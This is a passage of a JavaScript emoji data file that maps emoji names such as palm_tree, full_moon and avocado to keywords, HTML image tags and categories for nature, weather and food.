    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf33" src="1f333.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  palm_tree: {
    keywords: [ "plant", "vegetable", "nature", "summer", "beach", "mojito", "tropical" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf34" src="1f334.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  seedling: {
    keywords: [ "plant", "nature", "grass", "lawn", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf31" src="1f331.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  herb: {
    keywords: [ "vegetable", "plant", "medicine", "weed", "grass", "lawn" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf3f" src="1f33f.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  shamrock: {
    keywords: [ "vegetable", "plant", "nature", "irish", "clover" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2618" src="2618.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  four_leaf_clover: {
    keywords: [ "vegetable", "plant", "nature", "lucky", "irish" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf40" src="1f340.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  bamboo: {
    keywords: [ "plant", "nature", "vegetable", "panda", "pine_decoration" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf8d" src="1f38d.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  tanabata_tree: {
    keywords: [ "plant", "nature", "branch", "summer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf8b" src="1f38b.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  leaves: {
    keywords: [ "nature", "plant", "tree", "vegetable", "grass", "lawn", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf43" src="1f343.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  fallen_leaf: {
    keywords: [ "nature", "plant", "vegetable", "leaves" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf42" src="1f342.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  maple_leaf: {
    keywords: [ "nature", "plant", "vegetable", "ca", "fall" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf41" src="1f341.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  ear_of_rice: {
    keywords: [ "nature", "plant" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf3e" src="1f33e.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hibiscus: {
    keywords: [ "plant", "vegetable", "flowers", "beach" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf3a" src="1f33a.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sunflower: {
    keywords: [ "nature", "plant", "fall" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf3b" src="1f33b.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  rose: {
    keywords: [ "flowers", "valentines", "love", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf39" src="1f339.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  wilted_flower: {
    keywords: [ "plant", "nature", "flower" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd40" src="1f940.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  tulip: {
    keywords: [ "flowers", "plant", "nature", "summer", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf37" src="1f337.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  blossom: {
    keywords: [ "nature", "flowers", "yellow" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf3c" src="1f33c.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cherry_blossom: {
    keywords: [ "nature", "plant", "spring", "flower" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf38" src="1f338.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  bouquet: {
    keywords: [ "flowers", "nature", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc90" src="1f490.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  mushroom: {
    keywords: [ "plant", "vegetable" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf44" src="1f344.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  chestnut: {
    keywords: [ "food", "squirrel" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf30" src="1f330.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  jack_o_lantern: {
    keywords: [ "halloween", "light", "pumpkin", "creepy", "fall" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf83" src="1f383.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  shell: {
    keywords: [ "nature", "sea", "beach" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc1a" src="1f41a.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  spider_web: {
    keywords: [ "animal", "insect", "arachnid", "silk" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd78" src="1f578.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  earth_americas: {
    keywords: [ "globe", "world", "USA", "international" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf0e" src="1f30e.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  earth_africa: {
    keywords: [ "globe", "world", "international" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf0d" src="1f30d.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  earth_asia: {
    keywords: [ "globe", "world", "east", "international" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf0f" src="1f30f.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  full_moon: {
    keywords: [ "nature", "yellow", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf15" src="1f315.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  waning_gibbous_moon: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep", "waxing_gibbous_moon" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf16" src="1f316.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  last_quarter_moon: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf17" src="1f317.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  waning_crescent_moon: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf18" src="1f318.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  new_moon: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf11" src="1f311.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  waxing_crescent_moon: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf12" src="1f312.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  first_quarter_moon: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf13" src="1f313.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  waxing_gibbous_moon: {
    keywords: [ "nature", "night", "sky", "gray", "twilight", "planet", "space", "evening", "sleep" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf14" src="1f314.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  new_moon_with_face: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf1a" src="1f31a.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  full_moon_with_face: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf1d" src="1f31d.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  first_quarter_moon_with_face: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf1b" src="1f31b.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  last_quarter_moon_with_face: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf1c" src="1f31c.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sun_with_face: {
    keywords: [ "nature", "morning", "sky" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf1e" src="1f31e.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  crescent_moon: {
    keywords: [ "night", "sleep", "sky", "evening", "magic" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf19" src="1f319.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  star: {
    keywords: [ "night", "yellow" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b50" src="2b50.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  star2: {
    keywords: [ "night", "sparkle", "awesome", "good", "magic" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf1f" src="1f31f.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dizzy: {
    keywords: [ "star", "sparkle", "shoot", "magic" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcab" src="1f4ab.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sparkles: {
    keywords: [ "stars", "shine", "shiny", "cool", "awesome", "good", "magic" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2728" src="2728.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  comet: {
    keywords: [ "space" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2604" src="2604.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sunny: {
    keywords: [ "weather", "nature", "brightness", "summer", "beach", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2600\ufe0f" src="2600.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sun_behind_small_cloud: {
    keywords: [ "weather" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf24" src="1f324.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  partly_sunny: {
    keywords: [ "weather", "nature", "cloudy", "morning", "fall", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26c5" src="26c5.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sun_behind_large_cloud: {
    keywords: [ "weather" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf25" src="1f325.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sun_behind_rain_cloud: {
    keywords: [ "weather" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf26" src="1f326.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cloud: {
    keywords: [ "weather", "sky" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2601\ufe0f" src="2601.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cloud_with_rain: {
    keywords: [ "weather" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf27" src="1f327.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cloud_with_lightning_and_rain: {
    keywords: [ "weather", "lightning" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26c8" src="26c8.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cloud_with_lightning: {
    keywords: [ "weather", "thunder" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf29" src="1f329.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  zap: {
    keywords: [ "thunder", "weather", "lightning bolt", "fast" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26a1" src="26a1.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  fire: {
    keywords: [ "hot", "cook", "flame" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd25" src="1f525.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  boom: {
    keywords: [ "bomb", "explode", "explosion", "collision", "blown" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca5" src="1f4a5.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  snowflake: {
    keywords: [ "winter", "season", "cold", "weather", "christmas", "xmas" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2744\ufe0f" src="2744.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cloud_with_snow: {
    keywords: [ "weather" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf28" src="1f328.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  snowman: {
    keywords: [ "winter", "season", "cold", "weather", "christmas", "xmas", "frozen", "without_snow" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26c4" src="26c4.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  snowman_with_snow: {
    keywords: [ "winter", "season", "cold", "weather", "christmas", "xmas", "frozen" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2603" src="2603.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  wind_face: {
    keywords: [ "gust", "air" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf2c" src="1f32c.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dash: {
    keywords: [ "wind", "air", "fast", "shoo", "fart", "smoke", "puff" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca8" src="1f4a8.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  tornado: {
    keywords: [ "weather", "cyclone", "twister" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf2a" src="1f32a.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  fog: {
    keywords: [ "weather" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf2b" src="1f32b.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  open_umbrella: {
    keywords: [ "weather", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2602" src="2602.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  umbrella: {
    keywords: [ "rainy", "weather", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2614" src="2614.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  droplet: {
    keywords: [ "water", "drip", "faucet", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca7" src="1f4a7.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sweat_drops: {
    keywords: [ "water", "drip", "oops" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca6" src="1f4a6.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  ocean: {
    keywords: [ "sea", "water", "wave", "nature", "tsunami", "disaster" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf0a" src="1f30a.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  green_apple: {
    keywords: [ "fruit", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf4f" src="1f34f.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  apple: {
    keywords: [ "fruit", "mac", "school" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf4e" src="1f34e.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  pear: {
    keywords: [ "fruit", "nature", "food" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf50" src="1f350.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  tangerine: {
    keywords: [ "food", "fruit", "nature", "orange" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf4a" src="1f34a.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  lemon: {
    keywords: [ "fruit", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf4b" src="1f34b.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  banana: {
    keywords: [ "fruit", "food", "monkey" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf4c" src="1f34c.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  watermelon: {
    keywords: [ "fruit", "food", "picnic", "summer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf49" src="1f349.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  grapes: {
    keywords: [ "fruit", "food", "wine" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf47" src="1f347.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  strawberry: {
    keywords: [ "fruit", "food", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf53" src="1f353.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  melon: {
    keywords: [ "fruit", "nature", "food" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf48" src="1f348.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cherries: {
    keywords: [ "food", "fruit" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf52" src="1f352.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  peach: {
    keywords: [ "fruit", "nature", "food" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf51" src="1f351.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  pineapple: {
    keywords: [ "fruit", "nature", "food" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf4d" src="1f34d.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  coconut: {
    keywords: [ "fruit", "nature", "food", "palm" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd65" src="1f965.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  kiwi_fruit: {
    keywords: [ "fruit", "food" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd5d" src="1f95d.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  mango: {
    keywords: [ "fruit", "food", "tropical" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd6d" src="1f96d.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  avocado: {
    keywords: [ "fruit", "food" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd51" src="1f951.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  broccoli: {
    keywords: [ "fruit", "food", "vegetable" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd66" src="1f966.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  tomato: {
    keywords: [ "fruit", "vegetable", "nature", "food" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf45" src="1f345.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  eggplant: {
    keywords: [ "vegetable", "nature", "food", "aubergine" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf46" src="1f346.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cucumber: {
    keywords: [ "fruit", "food", "pickle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd52" src="1f952.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  carrot: {
    keywords: [ "vegetable", "food", "orange" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd55" src="1f955.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  hot_pepper: {
    keywords: [ "food", "spicy", "chilli", "chili" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf36" src="1f336.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  potato: {
    keywords: [ "food", "tuber", "vegatable", "starch" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd54" src="1f954.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  corn: {
    keywords: [ "food", "vegetable", "plant" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf3d" src="1f33d.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  leafy_greens: {
    keywords: [ "food", "vegetable", "plant", "bok choy", "cabbage", "kale", "lettuce" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd6c" src="1f96c.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  sweet_potato: {
    keywords: [ "food", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf60" src="1f360.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  peanuts: {
    keywords: [ "food", "nut" ],
